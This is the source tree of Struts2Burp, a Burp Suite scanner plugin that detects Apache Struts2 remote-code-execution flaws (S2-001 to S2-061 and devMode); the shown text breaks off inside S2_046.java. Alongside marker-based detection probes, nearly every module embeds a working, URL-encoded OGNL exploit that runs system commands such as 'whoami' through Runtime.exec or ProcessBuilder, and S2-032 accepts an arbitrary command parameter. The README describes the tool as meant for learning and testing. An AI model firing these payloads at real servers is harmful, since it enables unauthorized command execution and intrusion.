├── .gitignore ├── src └── main │ └── java │ ├── burp │ ├── Util.java │ ├── LogEntry.java │ ├── HttpLogTable.java │ ├── CustomScanIssue.java │ ├── HttpLogTableModel.java │ ├── BurpExtender.java │ ├── IModule.java │ └── GUI.java │ └── module │ ├── Devmode.java │ ├── S2_013_014.java │ ├── S2_001.java │ ├── S2_032.java │ ├── S2_016.java │ ├── S2_007.java │ ├── S2_012.java │ ├── S2_015.java │ ├── S2_057.java │ ├── S2_045.java │ ├── S2_061.java │ ├── S2_046.java │ ├── S2_003_005.java │ ├── S2_059.java │ └── S2_009.java ├── README.md └── pom.xml /.gitignore: -------------------------------------------------------------------------------- 1 | target 2 | .idea 3 | 4 | *.iml -------------------------------------------------------------------------------- /src/main/java/burp/Util.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.util.Random; 4 | 5 | public class Util { 6 | public static String getRandomString(int length) { 7 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"; 8 | Random random = new Random(); 9 | StringBuffer sb = new StringBuffer(); 10 | 11 | for(int i = 0; i < length; ++i) { 12 | int number = random.nextInt(62); 13 | sb.append(str.charAt(number)); 14 | } 15 | 16 | return sb.toString(); 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # Struts2Burp 2 | 一款检测Struts2 RCE漏洞的burp被动扫描插件,仅检测url后缀为`.do`以及`.action`的数据包 3 | 4 | **本项目旨在学习以及自我项目检测,请勿用于非法用途!** 5 | # 使用 6 | ``` 7 | git clone https://github.com/x1a0t/Struts2Burp 8 | cd Struts2Burp 9 | mvn clean package -DskipTests 10 | ``` 11 | 将目录`target`下生成的jar包导入burp即可 12 | 13 | GUI只是个流量列表,同时可简单生成存在的漏洞的exp,在列表中漏洞所在列右键 14 | 15 | 无过多需求可直接采用原版,切换到mini分支即可 16 | # 检测范围 17 | * S2-001 18 | * S2-003/S2-005 19 | * S2-007 20 | * S2-009 21 | * S2-012 22 | * S2-013/S2-014 23 | * S2-015 24 | * S2-016 25 | * S2-032 26 | * S2-045 27 | * S2-046 28 | * S2-057 29 | * S2-059 30 | * S2-061 31 | * Devmode 32 | -------------------------------------------------------------------------------- /src/main/java/burp/LogEntry.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.URL; 4 | 5 | public class LogEntry { 6 | final IHttpRequestResponse requestResponse; 7 | final URL url; 8 | final String method; 9 | final String status; 10 | final String payload; 11 | final IModule vulClass; 12 | 13 | public LogEntry(URL url, IHttpRequestResponse requestResponse, String payload, IModule vulClass) { 14 | this.url = url; 15 | this.requestResponse = requestResponse; 16 | short statusCode = BurpExtender.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode(); 17 | this.method = BurpExtender.helpers.analyzeRequest(requestResponse.getRequest()).getMethod(); 18 | this.status = Short.toString(statusCode); 19 | this.payload = payload; 20 | this.vulClass = vulClass; 21 | } 22 | } -------------------------------------------------------------------------------- /src/main/java/burp/HttpLogTable.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.*; 4 | import javax.swing.table.TableModel; 5 | 6 | public class HttpLogTable extends JTable { 7 | private final HttpLogTableModel httpLogTableModel; 8 | 9 | public HttpLogTableModel getHttpLogTableModel() { 10 | return httpLogTableModel; 11 | } 12 | 13 | 14 | public HttpLogTable(TableModel tableModel) { 15 | super(tableModel); 16 | this.httpLogTableModel = (HttpLogTableModel) tableModel; 17 | } 18 | 19 | @Override 20 | public void changeSelection(int row, int col, boolean toggle, boolean extend) { 21 | super.changeSelection(row, col, toggle, extend); 22 | // show the log entry for the selected row 23 | LogEntry logEntry = BurpExtender.log.get(row); 24 | GUI.requestViewer.setMessage(logEntry.requestResponse.getRequest(), true); 25 | GUI.responseViewer.setMessage(logEntry.requestResponse.getResponse(), false); 26 | GUI.currentlyDisplayedItem = logEntry.requestResponse; 27 | } 28 | } -------------------------------------------------------------------------------- /src/main/java/burp/CustomScanIssue.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import java.net.URL; 4 | 5 | public class CustomScanIssue implements IScanIssue 6 | { 7 | public IHttpService httpService; 8 | public URL url; 9 | public IHttpRequestResponse[] httpMessages; 10 | public String name; 11 | public String detail; 12 | public String severity; 13 | 14 | public CustomScanIssue(String name, URL url, IHttpService httpService, IHttpRequestResponse[] httpMessages, String detail, String severity) { 15 | this.name = name; 16 | this.url = url; 17 | this.httpService = httpService; 18 | this.httpMessages = httpMessages; 19 | this.detail = detail; 20 | this.severity = severity; 21 | } 22 | 23 | public URL getUrl() { 24 | return url; 25 | } 26 | 27 | public String getIssueName() { 28 | return name; 29 | } 30 | 31 | public int getIssueType() { 32 | return 0; 33 | } 34 | 35 | public String getSeverity() { 36 | return severity; 37 | } 38 | 39 | public String getConfidence() { 40 | return "Certain"; 41 | } 42 | 43 | public String getIssueBackground() { 44 | return null; 45 | } 46 | 47 | public String getRemediationBackground() { 48 | return null; 49 | } 50 | 51 | public String getIssueDetail() { 52 | return detail; 53 | } 54 | 55 | public String getRemediationDetail() { 56 | return null; 57 | } 58 | 59 | public IHttpRequestResponse[] getHttpMessages() { 60 | return httpMessages; 61 | } 62 | 63 | public IHttpService getHttpService() { 64 | return httpService; 65 | } 66 | 67 | } 68 | -------------------------------------------------------------------------------- /src/main/java/burp/HttpLogTableModel.java: -------------------------------------------------------------------------------- 1 | package burp; 2 | 3 | import javax.swing.table.AbstractTableModel; 4 | 5 | public class HttpLogTableModel extends AbstractTableModel { 6 | public int getRowCount() { 7 | return BurpExtender.log.size(); 8 | } 9 | 10 | public int getColumnCount() { 11 | return 5; 12 | } 13 | 14 | @Override 15 | public String getColumnName(int columnIndex) { 16 | 17 | switch (columnIndex) 18 | { 19 | case 0: 20 | return "URL"; 21 | case 1: 22 | return "Method"; 23 | case 2: 24 | return "Status"; 25 | case 3: 26 | return "Payload"; 27 | case 4: 28 | return "IsVul"; 29 | default: 30 | return ""; 31 | } 32 | } 33 | 34 | @Override 35 | public Class getColumnClass(int columnIndex) 36 | { 37 | return String.class; 38 | } 39 | 40 | 41 | public Object getValueAt(int rowIndex, int columnIndex) { 42 | LogEntry logEntry = BurpExtender.log.get(rowIndex); 43 | 44 | switch (columnIndex) { 45 | case 0: 46 | return logEntry.url.toString(); 47 | case 1: 48 | return logEntry.method; 49 | case 2: 50 | return logEntry.status; 51 | case 3: 52 | return logEntry.payload; 53 | case 4: 54 | if (logEntry.vulClass != null) { 55 | return "True"; 56 | } else { 57 | return ""; 58 | } 59 | default: 60 | return ""; 61 | } 62 | } 63 | } -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | Struts2Burp 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 13 | org.apache.maven.plugins 14 | maven-compiler-plugin 15 | 16 | 8 17 | 8 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | net.portswigger.burp.extender 26 | burp-extender-api 27 | 2.1 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | com.intellij 38 | forms_rt 39 | 7.0.3 40 | 41 | 42 | 43 | 44 | 45 | -------------------------------------------------------------------------------- /src/main/java/module/Devmode.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.IModule; 4 | import burp.IParameter; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URLEncoder; 8 | 9 | public class Devmode extends IModule { 10 | public Devmode() { 11 | //本地测试中发现cookie会对S2_008、S2_019的payload回显有影响,这里采用最简单的拼接验证 12 | poc = "debug=command&expression='"+injectMark[0]+"'%2b'"+injectMark[1]+"'"; 13 | 14 | exp = 15 | "#a=(new java.lang.ProcessBuilder('whoami')).start()," + 16 | "#b=#a.getInputStream()," + 17 | "#c=new java.io.InputStreamReader(#b)," + 18 | "#d=new java.io.BufferedReader(#c)," + 19 | "#e=new char[50]," + 20 | "#d.read(#e)," + 21 | "#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()," + 22 | "#out.print(new java.lang.String(#e))," + 23 | "#out.flush()," + 24 | "#out.close()"; 25 | exp = "debug=command&expression=" + URLEncoder.encode(exp); 26 | } 27 | 28 | @Override 29 | public IScanIssue start() { 30 | byte in = (byte) 0; 31 | if (requestInfo.getMethod().equals("POST")) { 32 | in = (byte) 1; 33 | } 34 | 35 | String[] parameters = poc.split("&"); 36 | for (String parameter: parameters) { 37 | String[] tmp = parameter.split("="); 38 | String parameterName = tmp[0]; 39 | String parameterValue = tmp[1]; 40 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, in); 41 | request = helpers.updateParameter(request, newParameter); 42 | } 43 | if (check()) { 44 | this.detail = exp; 45 | return creatCustomScanIssue(); 46 | } 47 | return super.start(); 48 | } 49 | } 50 | -------------------------------------------------------------------------------- /src/main/java/module/S2_013_014.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | import burp.Util; 5 | 6 | import java.net.URLEncoder; 7 | import java.util.ArrayList; 8 | import java.util.List; 9 | 10 | public class S2_013_014 extends IModule { 11 | public S2_013_014() { 12 | poc = 13 | "${" + 14 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," + 15 | "#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + 16 | "#out.print(\"" + injectMark[0] + "\")," + 17 | "#out.print(\"" + injectMark[1] + "\")," + 18 | "#out.flush()," + 19 | "#out.close()" + 20 | "}"; 21 | poc = URLEncoder.encode(poc); 22 | 23 | exp = 24 | "${" + 25 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," + 26 | "#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()," + 27 | "#b=new java.io.InputStreamReader(#a)," + 28 | "#c=new java.io.BufferedReader(#b)," + 29 | "#d=new char[50000]," + 30 | "#c.read(#d)," + 31 | "#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + 32 | "#out.println(new java.lang.String(#d))," + 33 | "#out.close()" + 34 | "}"; 35 | exp = URLEncoder.encode(exp); 36 | } 37 | 38 | @Override 39 | public IScanIssue start() { 40 | List iParameters = requestInfo.getParameters(); 41 | byte in = (byte) 0; 42 | if (requestInfo.getMethod().equals("POST")) { 43 | in = (byte) 1; 44 | } 45 | IParameter newParameter = helpers.buildParameter(Util.getRandomString(6), poc, in); 46 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 47 | 48 | if (check()) { 49 | this.detail = exp; 50 | return creatCustomScanIssue(); 51 | } 52 | return null; 53 | } 54 | 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/module/S2_001.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | import java.util.List; 7 | 8 | public class S2_001 extends IModule { 9 | public S2_001(){ 10 | poc = 11 | "%{" + 12 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 13 | "#f.getWriter().print(\"" + injectMark[0] + "\")," + 14 | "#f.getWriter().print(\"" + injectMark[1] + "\")," + 15 | "#f.getWriter().flush()," + 16 | "#f.getWriter().close()" + 17 | "}"; 18 | poc = URLEncoder.encode(poc); 19 | 20 | exp = 21 | "%{" + 22 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," + 23 | "#b=#a.getInputStream()," + 24 | "#c=new java.io.InputStreamReader(#b)," + 25 | "#d=new java.io.BufferedReader(#c)," + 26 | "#e=new char[50000]," + 27 | "#d.read(#e)," + 28 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 29 | "#f.getWriter().print(new java.lang.String(#e))," + 30 | "#f.getWriter().flush()," + 31 | "#f.getWriter().close()}"; 32 | exp = URLEncoder.encode(exp); 33 | } 34 | 35 | @Override 36 | public IScanIssue start() { 37 | List parameters = requestInfo.getParameters(); 38 | for (IParameter parameter: parameters) { 39 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 40 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType()); 41 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 42 | if (check()) { 43 | this.detail = exp; 44 | return creatCustomScanIssue(); 45 | } 46 | } 47 | } 48 | return null; 49 | } 50 | 51 | } 52 | -------------------------------------------------------------------------------- /src/main/java/module/S2_032.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | import java.util.Arrays; 7 | 8 | public class S2_032 extends IModule { 9 | public S2_032() { 10 | poc = 11 | "method:" + 12 | "#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS," + 13 | "#w=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," + 14 | "#w.print(new java.lang.String(new byte[]{" + Arrays.toString(injectMark[0].getBytes()).replace("[", "").replace("]", "") + "}))," + 15 | "#w.print(new java.lang.String(new byte[]{" + Arrays.toString(injectMark[1].getBytes()).replace("[", "").replace("]", "") + "}))," + 16 | "#w.flush()," + 17 | "#w.close()," + 18 | "1?#xx:#request.toString"; 19 | poc = URLEncoder.encode(poc); 20 | 21 | exp = 22 | "method:" + 23 | "#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS," + 24 | "#res=@org.apache.struts2.ServletActionContext@getResponse()," + 25 | "#res.setCharacterEncoding(#parameters.encoding[0])," + 26 | "#w=#res.getWriter()," + 27 | "#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0])," + 28 | "#str=#s.hasNext()?#s.next():new java.lang.String(new byte[]{32})," + 29 | "#w.print(#str)," + 30 | "#w.close()," + 31 | "1?#xx:#request.toString"; 32 | exp = 33 | "pp=%5c%5ca" + 34 | "&ppp=%20" + 35 | "&encoding=UTF-8" + 36 | "&cmd=whoami&" + 37 | URLEncoder.encode(exp); 38 | 39 | } 40 | 41 | 42 | @Override 43 | public IScanIssue start() { 44 | byte in = (byte) 0; 45 | if (requestInfo.getMethod().equals("POST")) { 46 | in = (byte) 1; 47 | } 48 | IParameter newParameter = helpers.buildParameter(poc, "1", in); 49 | request = helpers.updateParameter(request, newParameter); 50 | 51 | if (check()) { 52 | this.detail = exp; 53 | return creatCustomScanIssue(); 54 | } 55 | return null; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/module/S2_016.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | 7 | public class S2_016 extends IModule { 8 | public S2_016() { 9 | // TODO 10 | //redirectAction:和action: 也可触发漏洞 11 | poc = 12 | "redirect:${" + 13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 14 | "#f=#_memberAccess.getClass().getDeclaredField(\"allowStaticMethodAccess\")," + 15 | "#f.setAccessible(true)," + 16 | "#f.set(#_memberAccess,true),"+ 17 | "#genxor=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter()," + 18 | "#genxor.print(\"" + injectMark[0] + "\")," + 19 | "#genxor.print(\"" + injectMark[1] + "\")," + 20 | "#genxor.flush()," + 21 | "#genxor.close()" + 22 | "}"; 23 | poc = URLEncoder.encode(poc); 24 | 25 | exp = 26 | "redirect:${" + 27 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 28 | "#f=#_memberAccess.getClass().getDeclaredField(\"allowStaticMethodAccess\")," + 29 | "#f.setAccessible(true)," + 30 | "#f.set(#_memberAccess,true)," + 31 | "#a=@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream()," + 32 | "#b=new java.io.InputStreamReader(#a)," + 33 | "#c=new java.io.BufferedReader(#b)," + 34 | "#d=new char[5000]," + 35 | "#c.read(#d)," + 36 | "#genxor=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter()," + 37 | "#genxor.print(#d)," + 38 | "#genxor.flush()," + 39 | "#genxor.close()" + 40 | "}"; 41 | exp = URLEncoder.encode(exp); 42 | } 43 | 44 | @Override 45 | public IScanIssue start() { 46 | byte in = (byte) 0; 47 | if (requestInfo.getMethod().equals("POST")) { 48 | in = (byte) 1; 49 | } 50 | IParameter newParameter = helpers.buildParameter(poc, "1", in); 51 | request = helpers.updateParameter(request, newParameter); 52 | if (check()) { 53 | this.detail = exp; 54 | return creatCustomScanIssue(); 55 | } 56 | return null; 57 | } 58 | } 59 | -------------------------------------------------------------------------------- /src/main/java/module/S2_007.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | import java.util.List; 7 | 8 | public class S2_007 extends IModule { 9 | public S2_007() { 10 | poc = 11 | "'+(" + 12 | "#_memberAccess.allowStaticMethodAccess=true," + 13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 14 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 15 | "#f.getWriter().print(\"" + injectMark[0] + "\")," + 16 | "#f.getWriter().print(\"" + injectMark[1] + "\")," + 17 | "#f.getWriter().flush()," + 18 | "#f.getWriter().close()" + 19 | ")+'"; 20 | poc = URLEncoder.encode(poc); 21 | 22 | exp = 23 | "'+(" + 24 | "#_memberAccess.allowStaticMethodAccess=true," + 25 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," + 26 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," + 27 | "#b=#a.getInputStream()," + 28 | "#c=new java.io.InputStreamReader(#b)," + 29 | "#d=new java.io.BufferedReader(#c)," + 30 | "#e=new char[50000]," + 31 | "#d.read(#e)," + 32 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 33 | "#f.getWriter().print(new java.lang.String(#e))," + 34 | "#f.getWriter().flush()," + 35 | "#f.getWriter().close()" + 36 | ")+'"; 37 | exp = URLEncoder.encode(exp); 38 | } 39 | 40 | @Override 41 | public IScanIssue start() { 42 | List parameters = requestInfo.getParameters(); 43 | for (IParameter parameter: parameters) { 44 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 45 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType()); 46 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 47 | if (check()) { 48 | this.detail = exp; 49 | return creatCustomScanIssue(); 50 | } 51 | } 52 | } 53 | return null; 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /src/main/java/module/S2_012.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.net.URLEncoder; 6 | import java.util.List; 7 | 8 | public class S2_012 extends IModule { 9 | public S2_012() { 10 | poc = 11 | "%{" + 12 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 13 | "#f.getWriter().print(\"" + injectMark[0] + "\")," + 14 | "#f.getWriter().print(\"" + injectMark[1] + "\")," + 15 | "#f.getWriter().flush()," + 16 | "#f.getWriter().close()" + 17 | "}"; 18 | poc = URLEncoder.encode(poc); 19 | 20 | exp = 21 | "%{" + 22 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," + 23 | "#b=#a.getInputStream()," + 24 | "#c=new java.io.InputStreamReader(#b)," + 25 | "#d=new java.io.BufferedReader(#c)," + 26 | "#e=new char[50]," + 27 | "#d.read(#e)," + 28 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," + 29 | "#f.getWriter().println(new java.lang.String(#e))," + 30 | "#f.getWriter().flush()," + 31 | "#f.getWriter().close()" + 32 | "}"; 33 | exp = URLEncoder.encode(exp); 34 | } 35 | 36 | @Override 37 | public IScanIssue start() { 38 | byte[] response = iHttpRequestResponse.getResponse(); 39 | IResponseInfo iResponseInfo = helpers.analyzeResponse(response); 40 | short statusCode = iResponseInfo.getStatusCode(); 41 | 42 | if (statusCode == 302) { 43 | List parameters = requestInfo.getParameters(); 44 | for (IParameter parameter: parameters) { 45 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 46 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType()); 47 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 48 | if (check()) { 49 | this.detail = exp; 50 | return creatCustomScanIssue(); 51 | } 52 | } 53 | } 54 | } 55 | return null; 56 | } 57 | } 58 | -------------------------------------------------------------------------------- /src/main/java/module/S2_015.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.io.PrintWriter; 6 | import java.net.URL; 7 | import java.net.URLEncoder; 8 | 9 | public class S2_015 extends IModule { 10 | public S2_015() { 11 | poc = 12 | "${" + 13 | "#context['xwork.MethodAccessor.denyMethodExecution']=false," + 14 | "#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')," + 15 | "#m.setAccessible(true)," + 16 | "#m.set(#_memberAccess,true)," + 17 | "#a='" + injectMark[0] + "'," + 18 | "#b='" + injectMark[1] + "'," + 19 | "#q=#a+#b," + 20 | "#q" + 21 | "}"; 22 | poc = URLEncoder.encode(poc); 23 | 24 | exp = 25 | "${" + 26 | "#context['xwork.MethodAccessor.denyMethodExecution']=false," + 27 | "#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')," + 28 | "#m.setAccessible(true)," + 29 | "#m.set(#_memberAccess,true)," + 30 | "#cmd='whoami'," + 31 | "#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#cmd).getInputStream())," + 32 | "#q" + 33 | "}"; 34 | exp = URLEncoder.encode(exp); 35 | } 36 | 37 | @Override 38 | public IScanIssue start() { 39 | PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true); 40 | String url = requestInfo.getUrl().toString(); 41 | String[] tmp = url.split("/"); 42 | String fileName = tmp[tmp.length - 1]; 43 | 44 | String[] extensions = new String[]{".action", ".do"}; 45 | for (String ext: extensions) { 46 | if (fileName.endsWith(ext)) { 47 | String newFileName = poc + ext; 48 | String newUrl = url.replace(fileName, newFileName); 49 | try { 50 | request = helpers.buildHttpRequest(new URL(newUrl)); 51 | if (check()) { 52 | this.detail = url.replace(fileName, exp+ext); 53 | return creatCustomScanIssue(); 54 | } 55 | } catch (Exception e) { 56 | stderr.println(e.getMessage()); 57 | } 58 | } 59 | } 60 | 61 | return null; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/module/S2_057.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.IModule; 4 | import burp.IResponseInfo; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URLEncoder; 8 | import java.util.Arrays; 9 | import java.util.List; 10 | 11 | public class S2_057 extends IModule { 12 | public S2_057() { 13 | poc = 14 | "${'"+injectMark[0]+"'+'"+injectMark[1]+"'}"; 15 | poc = URLEncoder.encode(poc); 16 | 17 | exp = 18 | "${" + 19 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" + 20 | ".(#ct=#request['struts.valueStack'].context)" + 21 | ".(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])" + 22 | ".(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + 23 | ".(#ou.getExcludedPackageNames().clear())" + 24 | ".(#ou.getExcludedClasses().clear())" + 25 | ".(#ct.setMemberAccess(#dm))" + 26 | ".(#a=@java.lang.Runtime@getRuntime().exec('whoami'))" + 27 | ".(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))" + 28 | "}"; 29 | exp = URLEncoder.encode(exp); 30 | } 31 | 32 | @Override 33 | public IScanIssue start() { 34 | byte[] response = iHttpRequestResponse.getResponse(); 35 | IResponseInfo iResponseInfo = helpers.analyzeResponse(response); 36 | short statusCode = iResponseInfo.getStatusCode(); 37 | //仅对跳转页面进行判断 38 | if (statusCode == 302) { 39 | List headers = requestInfo.getHeaders(); 40 | int bodyOffset = requestInfo.getBodyOffset(); 41 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length); 42 | String path = requestInfo.getUrl().getPath(); 43 | String[] strings = path.split("/"); 44 | String newPath = path.replace(strings[strings.length - 1], poc + "/" + strings[strings.length - 1]); 45 | 46 | headers.set(0, headers.get(0).replace(path, newPath)); 47 | try { 48 | request = helpers.buildHttpMessage(headers, requestBody); 49 | if (check()) { 50 | this.detail = exp; 51 | return creatCustomScanIssue(); 52 | } 53 | } catch (Exception e) { 54 | callbacks.printError(e.getMessage()); 55 | } 56 | } 57 | return super.start(); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/module/S2_045.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.util.Arrays; 6 | import java.util.List; 7 | 8 | public class S2_045 extends IModule { 9 | public S2_045() { 10 | poc = 11 | "%{" + 12 | "#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('xxx','"+injectMark[0]+"'+'"+injectMark[1]+"')" + 13 | "}.multipart/form-data"; 14 | 15 | exp = 16 | "%{" + 17 | "(#nike='multipart/form-data')" + 18 | ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" + 19 | ".(" + 20 | "#_memberAccess?(#_memberAccess=#dm):" + 21 | "(" + 22 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" + 23 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" + 24 | ".(#ognlUtil.getExcludedPackageNames().clear())" + 25 | ".(#ognlUtil.getExcludedClasses().clear())" + 26 | ".(#context.setMemberAccess(#dm))" + 27 | ")" + 28 | ")" + 29 | ".(#cmd='whoami')" + 30 | ".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))" + 31 | ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" + 32 | ".(#p=new java.lang.ProcessBuilder(#cmds))" + 33 | ".(#p.redirectErrorStream(true))" + 34 | ".(#process=#p.start())" + 35 | ".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))" + 36 | ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))" + 37 | ".(#ros.flush())" + 38 | "}"; 39 | } 40 | 41 | @Override 42 | public IScanIssue start() { 43 | int bodyOffset = requestInfo.getBodyOffset(); 44 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length); 45 | 46 | List headers = requestInfo.getHeaders(); 47 | for (String header: headers) { 48 | if (header.contains("Content-Type")) { 49 | headers.remove(header); 50 | break; 51 | } 52 | } 53 | 54 | headers.add("Content-Type: " + poc); 55 | request = helpers.buildHttpMessage(headers, requestBody); 56 | if (check()) { 57 | this.detail = exp; 58 | return creatCustomScanIssue(); 59 | } 60 | 61 | return null; 62 | } 63 | } 64 | -------------------------------------------------------------------------------- /src/main/java/module/S2_061.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.IModule; 4 | import burp.IParameter; 5 | import burp.IScanIssue; 6 | 7 | import java.net.URLEncoder; 8 | import java.util.List; 9 | 10 | public class S2_061 extends IModule { 11 | public S2_061() { 12 | // https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g 13 | // https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247486019&idx=1&sn=d80d2f443bfd0219c9a8ed7ae5fb8887 14 | // only work in Tomcat 15 | poc = 16 | "%{" + 17 | "(#im=#application.get('org.apache.tomcat.InstanceManager'))" + 18 | ".(#map=#im.newInstance('org.apache.commons.collections.BeanMap'))" + 19 | ".(#map.setBean(#request.get('struts.valueStack')))" + 20 | ".(#f=#map.get('context')['com.opensymphony.xwork2.dispatcher.HttpServletResponse'])" + 21 | ".(#f.addHeader('poc','"+injectMark[0]+"'+'"+injectMark[1]+"'))" + 22 | "}"; 23 | poc = URLEncoder.encode(poc); 24 | 25 | exp = 26 | "%{" + 27 | "(#im=#application.get('org.apache.tomcat.InstanceManager'))" + 28 | ".(#map=#im.newInstance('org.apache.commons.collections.BeanMap'))" + 29 | ".(#map.setBean(#request.get('struts.valueStack')))" + 30 | ".(#ct=#map.get('context'))" + 31 | ".(#map.setBean(#ct))" + 32 | ".(#map.setBean(#map.get('memberAccess')))" + 33 | ".(#map.put('excludedPackageNames',#im.newInstance('java.util.HashSet')))" + 34 | ".(#map.put('excludedClasses',#im.newInstance('java.util.HashSet')))" + 35 | ".(#r=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))" + 36 | ".(#f=#ct['com.opensymphony.xwork2.dispatcher.HttpServletResponse'])" + 37 | ".(#f.getWriter().print(#r))" + 38 | ".(#f.getWriter().flush())" + 39 | ".(#f.getWriter().close())" + 40 | "}"; 41 | exp = URLEncoder.encode(exp); 42 | } 43 | 44 | @Override 45 | public IScanIssue start() { 46 | List parameters = requestInfo.getParameters(); 47 | for (IParameter parameter: parameters) { 48 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) { 49 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType()); 50 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter); 51 | if (check()) { 52 | this.detail = exp; 53 | return creatCustomScanIssue(); 54 | } 55 | } 56 | } 57 | return super.start(); 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /src/main/java/module/S2_046.java: -------------------------------------------------------------------------------- 1 | package module; 2 | 3 | import burp.*; 4 | 5 | import java.util.Collections; 6 | import java.util.List; 7 | 8 